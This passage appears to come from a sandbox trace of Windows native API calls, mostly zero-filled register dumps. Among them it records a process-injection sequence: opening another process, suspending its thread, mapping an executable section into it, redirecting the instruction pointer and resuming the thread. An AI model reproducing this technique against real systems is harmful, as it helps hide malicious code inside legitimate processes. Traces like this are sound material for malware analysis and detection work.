[9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xf5f9f8, Ebx=0xcf0000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xf5f9a0, Eip=0x2f90927, SegCs=0x23, EFlags=0x206, Esp=0xf5f988, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0620.343] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0620.343] NtClose (Handle=0x1e4) returned 0x0 [0620.343] NtClose (Handle=0x20c) returned 0x0 [0620.345] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xedc, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0620.345] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0620.345] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0620.345] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0xd43000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0620.345] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0625.361] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xed4) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0625.362] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0625.362] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2b30000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0625.366] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xeffbf0, Ebx=0xd43000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xeffb98, Eip=0x7742295c, SegCs=0x23, EFlags=0x212, Esp=0xeffb80, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0625.367] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0625.367] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xd9a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xda000) returned 0x0 [0625.372] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xd9a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x1050000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xda000) returned 0x0 [0625.380] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0625.409] NtClose (Handle=0x214) returned 0x0 [0625.409] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xeffbf0, Ebx=0xd43000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xeffb98, Eip=0x1097927, SegCs=0x23, EFlags=0x212, Esp=0xeffb80, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, 